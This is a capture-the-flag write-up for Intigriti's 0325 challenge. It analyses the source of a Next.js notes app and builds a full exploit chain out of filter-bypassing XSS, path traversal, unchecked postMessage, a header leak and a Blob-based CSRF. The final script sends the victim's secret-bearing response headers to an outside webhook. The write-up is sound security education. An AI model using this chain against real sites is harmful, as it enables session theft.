Intigriti Monthly Challenge 0325 by 0x999
Description
Author: 0x999
Find the FLAG and win Intigriti swag! š
The solution:
- Should work on the latest version of Chromium and FireFox.
- Should leverage a cross site scripting vulnerability on this domain.
- Shouldnāt be self-XSS or related to MiTM attacks.
ā¹ļø Information & Goal
Your goal is to leak the Botās flag to a remote host by submitting a URL, below are the sequence of actions the bot will perform after receiving a URL:
- Open the latest version of Firefox Firefox
- Visit the Challenge page URL
- Login using the flag as the password
- Navigate to the provided URL
- Click at the center of the page
- Wait 60 seconds then close the browser
š Challenge URL
https://challenge-0325.intigriti.io/
Solution
Initial Look
Facing the challenge, we are presented with a simple login page.
Upon logging in, we are greeted with a page that allows us to perform a number of actions.
- Create new posts(including password-protected posts).
- View all posts.
- View a specific post.
- Submt a URL to the bot.
- Download the source code.
- Logout.
Letās take a look at the source code.
Source Code Analysis
This is a Next.js application, so we can expect the source code to be in JavaScript and React. There are many files in the source code, but for now, letās focus on the important ones.
package.json
The package.json
file contains the dependencies used in the application. Most of the dependencies are related to Next.js and React. Something oddly interesting is the Next.js version. By doing a quick search, we find that it is vulnerable to CVE-2025-29927 that allows to do many interesting things. Weāll get in more detail about this later.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
"dependencies": {
"@radix-ui/react-scroll-area": "^1.2.2",
"@radix-ui/react-slot": "^1.1.1",
"@radix-ui/react-switch": "^1.1.2",
"@radix-ui/react-toast": "^1.2.4",
"@radix-ui/react-tooltip": "^1.1.6",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"cookies": "^0.9.1",
"ioredis": "^5.4.2",
"lucide-react": "^0.473.0",
"next": "15.1.5",
"next-themes": "^0.4.4",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"sonner": "^1.7.2",
"tailwind-merge": "^2.6.0",
"tailwindcss-animate": "^1.0.7",
"uuid": "^11.0.5",
"node-fetch": "^3.3.2"
}
pages/api/auth.js
This file contains the authentication logic for the application. It uses a Redis database to store user sessions. There are two routes: POST
and DELETE
. The POST
route is used to create a new session, and the DELETE
route is used to delete the session.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import { Redis } from "ioredis";
import Cookies from "cookies";
const redisOptions = {
host: process.env.REDIS_HOST,
username: process.env.REDIS_USERNAME,
password: process.env.REDIS_PASSWORD,
port: process.env.REDIS_PORT,
};
export default async function handler(req, res) {
const redis = new Redis(redisOptions);
const cookies = new Cookies(req, res);
try {
const { method, body } = req;
switch (method) {
case "POST":
if (!req.headers["content-type"].startsWith("application/json")) {
return res.status(400).json({ message: "Invalid content type" });
}
if (!body.username || typeof body.username !== "string" || !body.password || typeof body.password !== "string") {
return res.status(400).json({ message: "Missing/invalid username or password" });
}
if (cookies.get("secret")) {
return res.status(200).json({ message: "Session already exists" });
}
const password = String(body.password);
const username = String(body.username);
const passwordRegex = /^[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
const usernameRegex = /^[a-zA-Z0-9]{3,32}$/;
if (!usernameRegex.test(username)) {
return res.status(400).json({
message:
"Username must be 3-32 characters long and contain only a-z, A-Z, 0-9",
});
}
if (!passwordRegex.test(password)) {
return res.status(400).json({
message:
"Password must be between 3 and 64 characters long and contain only the following characters: " +
"a-z, A-Z, 0-9, !@#$%^&*()-_=+{}.",
});
}
try {
const redisKey = "nextjs:"+btoa(`${username}:${password}`);
const userExists = await redis.get(redisKey);
const cookieOptions = [
`HttpOnly`,
`Secure`,
`Max-Age=${60 * 60}`,
`SameSite=None`,
`Path=/`,
process.env.DOMAIN && `Domain=${process.env.DOMAIN}`,
]
.filter(Boolean)
.join("; ");
if (userExists) {
res.setHeader("Set-Cookie", `secret=${redisKey.replace('nextjs:', '')}; ${cookieOptions}`);
return res.status(200).json({ message: "Cookie set successfully" });
}
await redis.set(redisKey, "[]", "EX", 60 * 60);
res.setHeader("Set-Cookie", `secret=${redisKey.replace('nextjs:', '')}; ${cookieOptions}`);
return res.status(200).json({ message: "Cookie set successfully" });
} catch (error) {
console.error("Redis error:", error);
return res.status(500).json({ message: "Internal server error" });
}
case "DELETE":
try {
const deleteCookie = [
"secret=",
"Expires=Thu, 01 Jan 1970 00:00:00 GMT",
"HttpOnly",
"Secure",
"SameSite=None",
"Max-Age=0",
"Path=/",
process.env.DOMAIN && `Domain=${process.env.DOMAIN}`,
]
.filter(Boolean)
.join("; ");
res.setHeader("Set-Cookie", deleteCookie);
return res.status(200).json({ message: "You will be missed šš" });
} catch (error) {
console.error("ERROR:", error);
return res.status(500).json({ message: "Internal server error" });
}
default:
res.setHeader("Allow", ["POST", "DELETE"]);
return res.status(200).json({ message: "ok" });
}
} finally {
await redis.quit();
}
}
Overall, the authentication logic is pretty straightforward. The only interesting part is the cookie.
1
2
3
4
5
6
7
8
9
10
...
const cookieOptions = [
`HttpOnly`,
`Secure`,
`Max-Age=${60 * 60}`,
`SameSite=None`,
`Path=/`,
process.env.DOMAIN && `Domain=${process.env.DOMAIN}`,
]
...
The cookie is set with the following attributes:
HttpOnly
: The cookie cannot be accessed by JavaScript.Secure
: The cookie is only sent over HTTPS.Max-Age=${60 * 60}
: The cookie expires in 1 hour.SameSite=None
: The cookie is sent in cross-site requests.Path=/
: The cookie is accessible from all paths.Domain=${process.env.DOMAIN}
: The cookie is accessible from all subdomains of the specified domain.
We are done with the authentication logic. We can note down that we are able to perform cross-site requests with the cookie set by the server.
Letās move on to the next file.
pages/api/post.js
This file contains the logic for creating and viewing posts. There are two routes: POST
and GET
. The POST
route is used to create a new post, and the GET
route returns all posts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import crypto from 'crypto';
import { Redis } from "ioredis";
import Cookies from 'cookies';
import { v4 as uuidv4 } from 'uuid';
const redisOptions = {
host: process.env.REDIS_HOST,
username: process.env.REDIS_USERNAME,
password: process.env.REDIS_PASSWORD,
port: process.env.REDIS_PORT,
};
const generatePassword = () => {
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
return Array.from(crypto.randomBytes(10), byte => chars[byte % chars.length]).join('');
};
export default async function handler(req, res) {
const redis = new Redis(redisOptions);
const cookies = new Cookies(req, res);
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
try {
const { method } = req;
switch (method) {
case 'GET':
try {
let secret_cookie;
try{
secret_cookie = atob(cookies.get('secret'));
} catch (e) {
secret_cookie = '';
}
if (!secret_cookie || typeof secret_cookie !== 'string') {
return res.status(403).json({ message: 'Unauthorized' });
}
if (!secretRegex.test(secret_cookie)) {
return res.status(400).json({ message: 'Invalid cookie format' });
}
const redisKey = "nextjs:"+btoa(secret_cookie);
const userData = await redis.get(redisKey);
if (!userData) {
res.setHeader('Set-Cookie', 'secret=; Max-Age=0; Path=/; HttpOnly; Secure; SameSite=None');
return res.status(403).json({ message: 'Cookie is invalid' });
}
let notes = [];
try {
notes = userData ? JSON.parse(userData) : [];
if (!Array.isArray(notes)) notes = [];
} catch (error) {
notes = [];
}
return res.status(200).json({ notes });
} catch (error) {
console.error('error:', error);
return res.status(500).json({ message: 'error' });
}
case 'POST':
try {
let secret_cookie;
try{
secret_cookie = atob(cookies.get('secret'));
} catch (e) {
secret_cookie = '';
}
const content_type = req.headers['content-type'];
if (!secret_cookie) {
return res.status(403).json({ message: 'Unauthorized' });
}
if (!secretRegex.test(secret_cookie)) {
return res.status(400).json({ message: 'Invalid cookie format' });
}
if (content_type && !content_type.startsWith('application/json')) {
return res.status(400).json({ message: 'Invalid content type' });
}
const redisKey = "nextjs:"+btoa(secret_cookie);
const userData = await redis.get(redisKey);
if (!userData) {
return res.status(403).json({ message: 'Unauthorized' });
}
const body = typeof req.body === 'string' ? JSON.parse(req.body) : req.body;
const { title, content, use_password } = body;
if (!title || !content) {
return res.status(400).json({ message: 'Please provide a title and content' });
}
if (typeof content === 'string' && (content.includes('<') || content.includes('>'))) {
return res.status(400).json({ message: 'Invalid value for title or content' });
}
if (title.length > 50 || content.length > 1000) {
return res.status(400).json({ message: 'Title must not exceed 50 characters and content must not exceed 500 characters' });
}
let notes = [];
try {
notes = userData ? JSON.parse(userData) : [];
if (!Array.isArray(notes)) notes = [];
} catch (error) {
notes = [];
}
const id = uuidv4();
const password = use_password === 'true' ? generatePassword() : '';
const note = { id, title, content, password };
const newNotes = [...notes, note];
await redis.set(redisKey, JSON.stringify(newNotes), 'KEEPTTL');
return res.status(200).json({ message: 'Note saved successfully', id: note.id, password: note.password });
} catch (error) {
console.error('error:', error);
return res.status(500).json({ message: 'Internal server error' });
}
default:
res.setHeader('Allow', ['POST', 'GET']);
return res.status(405).json({ message: `Method not allowed` });
}
} finally {
await redis.quit();
}
}
A couple of weird
things here.
1
2
3
4
5
6
const content_type = req.headers['content-type'];
...
if (content_type && !content_type.startsWith('application/json')) {
return res.status(400).json({ message: 'Invalid content type' });
}
...
This is some kind of CSRF protection. The server first checks if the Content-Type
header is set, and if it is, it checks if it starts with application/json
. If it doesnāt, the server returns an error. This is done, because you canāt send JSON data with simple requests like GET
or POST
using forms. You technically can set an arbitrary Content-Type
header using the fetch API under certain conditions (like CORS), but not in our case. So, since we want to send JSON data, we need to find a way to do it without setting the Content-Type
header.
1
2
3
if (typeof content === 'string' && (content.includes('<') || content.includes('>'))) {
return res.status(400).json({ message: 'Invalid value for title or content' });
}
This is another interesting check. The server checks if the content
field is a string and if it contains <
or >
. This is a simple check to prevent HTML injection. This is not enough, since we can send a list instead of a string, which will bypass the checks.
If our input ends up in an innerHTML context, then we will have a Cross-Site Scripting (XSS) vulnerability.
1
dangerouslySetInnerHTML={{ __html: note.content }}
It seems that our input does in fact end up in an innerHTML context, so we can try to exploit this vulnerability. Letās try it out and see if we can execute a simple XSS payload.
Request with content as a string, containing <
fails as expected.
Request with content as a list, containing <
passes the check.
bot.js
This file contains the logic for the bot. First, the bot authenticates using the flag as the password. Then, it visits the provided URL, clicks at the center of the page, waits for 60 seconds, and closes the browser. Nothing out of the ordinary here.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
...
async function visitUrl(url) {
let driver;
const flag = process.env.FLAG;
try {
let options = new firefox.Options();
options.addArguments('--headless');
driver = await new Builder()
.forBrowser('firefox')
.setFirefoxOptions(options)
.build();
const caps = await driver.getCapabilities();
const firefoxVersion = caps.get('browserVersion');
console.log(`Firefox version: ${firefoxVersion}`);
await driver.manage().setTimeouts({
pageLoad: timeout,
script: timeout
});
await driver.manage().window().setRect({ width: 1024, height: 768 });
await driver.get(process.env.BASE_URL);
await driver.executeScript(async (flag) => {
const response = await fetch("/api/auth", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
username: "admin" + Math.floor(Math.random() * 10000000),
password: flag
}),
});
if (!response.ok) {
console.error(`Bot failed to authenticate! status: ${response.status}`);
await driver.quit();
}
localStorage.setItem('isAuthenticated', 'true');
}, flag);
console.log(`Navigating to URL: ${url}`);
await driver.get(url);
await driver.wait(async () => {
return (await driver.executeScript('return document.readyState')) === 'complete';
}, timeout);
const viewportSize = await driver.executeScript(() => {
return {
width: window.innerWidth,
height: window.innerHeight,
};
});
const centerX = Math.floor(viewportSize.width / 2);
const centerY = Math.floor(viewportSize.height / 2);
const actions = driver.actions();
await actions.move({ x: centerX, y: centerY }).click().perform();
console.log(`Clicking at center: (${centerX}, ${centerY})`);
await driver.sleep(60000);
console.log('Finished processing URL:', url);
} catch (error) {
console.error(`Error visiting URL ${url}:`, error);
} finally {
if (driver) {
await driver.quit();
}
}
}
...
middleware.js
There are two middleware functions. The first one is used to handle the /view_protected_note
route. The second one is used to handle the /note/
route.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import { NextResponse } from 'next/server';
export function middleware(request) {
const path = request.nextUrl.pathname;
if (path.startsWith('/view_protected_note')) {
const query = request.nextUrl.searchParams;
const note_id = query.get('id');
const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
const isMatch = uuid_regex.test(note_id);
if (note_id && isMatch) {
const current_url = request.nextUrl.clone();
current_url.pathname = "/note/" + note_id.normalize('NFKC');
return NextResponse.rewrite(current_url);
} else {
return new NextResponse('Uh oh, Missing or Invalid Note ID :c', {
status: 403,
headers: { 'Content-Type': 'text/plain' },
});
}
}
if (path.startsWith('/note/') && !request.nextUrl.searchParams.has('s')) {
let secret_cookie = '';
try {
secret_cookie = atob(request.cookies.get('secret')?.value);
} catch (e) {
secret_cookie = '';
}
const secretRegex = /^[a-zA-Z0-9]{3,32}:[a-zA-Z0-9!@#$%^&*()\-_=+{}.]{3,64}$/;
const newUrl = request.nextUrl.clone();
if (!secret_cookie || !secretRegex.test(secret_cookie)) {
return NextResponse.next();
}
newUrl.searchParams.set('s', 'true');
newUrl.hash = `:~:${secret_cookie}`;
return NextResponse.redirect(newUrl, 302);
}
return NextResponse.next();
}
Both middleware functions have some peculiar parts.
1
2
3
4
5
6
7
8
9
10
11
...
const query = request.nextUrl.searchParams;
const note_id = query.get('id');
const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/;
const isMatch = uuid_regex.test(note_id);
if (note_id && isMatch) {
const current_url = request.nextUrl.clone();
current_url.pathname = "/note/" + note_id.normalize('NFKC');
return NextResponse.rewrite(current_url);
}
...
The first middleware function checks if the id
parameter is a valid UUID. The regex used is not fully correct, since it allows for any characters not only hexadecimal ones. This can be leveraged to perform a path traversal attack.
E.g https://challenge-0325.intigriti.io/view_protected_note?id=f0ffebf5-ac1d-4538-b13a-/../../notes
-> This will redirect to /note/f0ffebf5-ac1d-4538-b13a-/../../notes
= /notes
.
1
2
3
4
5
if (path.startsWith('/note/') && !request.nextUrl.searchParams.has('s')) {
newUrl.hash = `:~:${secret_cookie}`;
return NextResponse.redirect(newUrl, 302);
...
}
The second middleware function checks if the path starts with /note/
and if the s
parameter is not set. If the conditions are met, the function sets the hash to :~:${secret_cookie}
and redirects to the new URL. We donāt really know the purpose of this, but letās send a request to confirm the behavior.
protected-note/page.js
This file contains the logic for the protected note page. It uses the useEffect
hook to listen for messages from the parent window. When a message is received, the function validatepassword
is called with the password from the message. The function checks if the password matches the password of any note. If a match is found, a success message is sent to the parent window. Otherwise, an error message is sent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
"use client";
import { useState, useEffect } from "react";
import { LockIcon } from "@/components/Icons";
import { Loader2 } from "lucide-react";
import { useAuth } from "@/context/authContext";
import { useRouter } from "next/navigation";
import { useToast } from "@/hooks/use-toast";
export default function PasswordProtectedNote() {
const [isSuccess, setIsSuccess] = useState(false);
const [isMounted, setisMounted] = useState(false);
const { isAuthenticated, isLoading, login, logout } = useAuth();
const router = useRouter();
const { toast } = useToast();
useEffect(() => {
const checkAuthAndNotes = async () => {
if (!isLoading && !isAuthenticated) {
toast({
title: "ā¤ļø Please login to continue ā¤ļø",
variant: "destructive",
});
router.push("/");
} else if (isAuthenticated) {
await fetchNotes();
}
};
checkAuthAndNotes();
}, [isAuthenticated, isLoading]);
const fetchNotes = async () => {
try {
const res = await fetch("/api/post", {
method: "GET",
});
if (!res.ok) {
const data = await res.json();
toast({
title: data.message,
variant: "destructive",
});
await logout();
} else {
const data = await res.json();
localStorage.setItem("notes", JSON.stringify(data.notes));
}
} catch (error) {
toast({
title: "An error occurred",
description: "Failed to fetch notes. Please try again.",
variant: "destructive",
});
}
};
useEffect(() => {
if(window.opener){
window.opener.postMessage({ type: "childLoaded" }, "*");
}
setisMounted(true);
const handleMessage = (event) => {
if (event.data.type === "submitPassword") {
validatepassword(event.data.password);
}
};
window.addEventListener("message", handleMessage);
return () => window.removeEventListener("message", handleMessage);
}, []);
const validatepassword = (submittedpassword) => {
const notes = JSON.parse(localStorage.getItem("notes") || "[]");
const foundNote = notes.find(note => note.password === submittedpassword);
if (foundNote) {
window.opener.postMessage({ type: "success", noteId: foundNote.id }, "*");
setIsSuccess(true);
} else {
window.opener.postMessage({ type: "error" }, "*");
setIsSuccess(false);
}
};
return (
<div className="min-h-screen bg-gradient-to-r from-[#ee9ca7] to-[#ffdde1] p-4 flex items-center justify-center">
<div className="bg-white/80 backdrop-blur-sm p-8 rounded-lg shadow-lg text-center max-w-md w-full">
{isSuccess ? (
<div>
<h1 className="text-2xl font-bold text-gray-700">Success!</h1>
<p className="text-gray-600 mt-4">Redirecting...</p>
</div>
) : !isMounted ? (
<div className="flex items-center justify-center">
<Loader2 className="w-8 h-8 animate-spassword text-gray-700" />
</div>
) : (
<>
<div className="flex items-center justify-center gap-2 mb-4">
<LockIcon className="w-8 h-8 text-gray-700" />
<h1 className="text-2xl font-bold text-gray-700">Protected Note</h1>
</div>
<p className="text-gray-600 mb-6">
Password is required to unlock this note.
</p>
</>
)}
</div>
</div>
);
}
At first glance, the code seems fine. Upon closer inspection, we can see that both the postMessage and the event listener are not properly used. The former sends a message with a wildcard *
origin, and the latter does not check the origin of the message, essentially allowing any origin to send messages to the page. Furthermore, this page does not only process the password-protected notes. If you send a message with the type submitPassword
and ""
as the password, the page will process the message and return the id of the first password-less note.
Letās try it. We will use requestrepo to host our exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script>
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function exploit() {
let noteId = null;
window.addEventListener("message", (event) => {
if (event.data.type === "success") {
noteId = event.data.noteId;
console.log("Stolen Note ID:", noteId);
}
}, false);
await sleep(500);
const childWindow = window.open("https://challenge-0325.intigriti.io/protected-note", "_blank");
await sleep(500);
childWindow.postMessage({ type: "submitPassword", password: "" }, "*");
}
exploit();
</script>
</body>
</html>
This will open a new window with the protected note page, then start listening for messages. Finally, it will send a message with an empty password to the page. The page will process the message and return the id of the first password-less note.
Digging Deeper
So far we have found the following vulnerabilities:
- Cross-Site Scripting (XSS) in the note creation.
- Path Traversal in the
/view_protected_note
route. - Insecure postMessage in the protected note page.
- Next.js vulnerability CVE-2025-29927.
SameSite=None
cookie attribute that allows for cross-site requests.
Still, no idea how to get the flag.
Next.js Vulnerability [CVE-2025-29927]
As explained very well in the article here we can leverage this vulnerability to completely bypass the middlewares and many other interesting things. Bypassing the middleware functions wonāt really help us in this case, but itās good to know that we can do it.
To improve detection for CVE-2025-29927, itās possible to leak internal behavior by forcing Next.js to reveal internal headers. By sending the
x-nextjs-data: 1
header in requests, the server may respond with headers like x-nextjs-redirect, even on redirects where other middleware headers are suppressed.
Does this mean that we can use this header on the /note/
route to expose the Location
header which contains the flag? Letās try it out.
So we have a way to leak the flag. The only thing left is to find a way to create a note for the admin.
Fetch Without Content-Type Header
After quite some time of trying to find a way to bypass the Content-Type
header check, we came across this article.
There is a gotcha due to the fetch API not only accepting String objects for the body parameter, but also Blob objects. This is relevant as Blob objects are more complex than strings, containing not just data but also an associated type. Or even no type at all. By creating a Blob object without a type, then passing it to the fetch function, a HTTP POST request can be sent cross-site, without CORS, that will not have a Content-Type request header. This isnāt just limited to empty request bodies either, as the data passed to Blob will become the HTTP request body.
So, we can send a request without the Content-Type
header by using a Blob
object. Letās try it out.
1
2
3
4
5
6
7
fetch("https://challenge-0325.intigriti.io/api/post", {
method: "POST",
body: new Blob([`{"title":"Blob","content":"MariosK1574"}`]),
mode: "no-cors",
credentials:"include"
}
);
Perfect it works!
Exploitation
- We start an event listener to listen for the
success
message. - We open a new window to the challenge page.
- We create a new note with the XSS payload (Cookie will be sent from our domain to the challenge domain as explained earlier).
- We open a new window to the protected note page.
- We send a message with an empty password to the protected note page (to leak the malicious noteās id).
- We redirect to the malicious noteās page to trigger the XSS payload and leak the flag.
- We get a callback with the headers containing the flag to our webhook.
Note: Headless browsers, do not block window popups, so we can open new windows without any navigation or user interaction.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<script>
let title = 'XSS';
let content = "<img src=X onerror=\\\"let req = new XMLHttpRequest();req.open('GET', 'https://challenge-0325.intigriti.io/note/a', true);req.setRequestHeader('x-nextjs-data', '1');req.send(null);req.onload = function() {let headers = req.getAllResponseHeaders().toLowerCase();fetch(`https://2u30mt6q.requestrepo.com/?d=${btoa(headers)}`);};\\\">";
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function exploit() {
let noteId = null;
window.addEventListener("message", (event) => {
if (event.data.type === "success") {
noteId = event.data.noteId;
console.log("Stolen Note ID:", noteId);
}
}, false);
await sleep(500);
window.open("https://challenge-0325.intigriti.io/login");
await sleep(500);
fetch("https://challenge-0325.intigriti.io/api/post", {
method: "POST",
body: new Blob([`{"title":["${title}"],"content":["${content}"]}`]),
mode: "no-cors",
credentials:"include"
});
await sleep(1000);
const childWindow = window.open("https://challenge-0325.intigriti.io/protected-note", "_blank");
await sleep(500);
childWindow.postMessage({ type: "submitPassword", password: "" }, "*");
await sleep(500);
window.location = `https://challenge-0325.intigriti.io/note/${noteId}`;
}
exploit();
</script>
</body>
</html>
The flag is intigriti{s3rv1ce_w0rk3rs_4re_p0w3rful}
.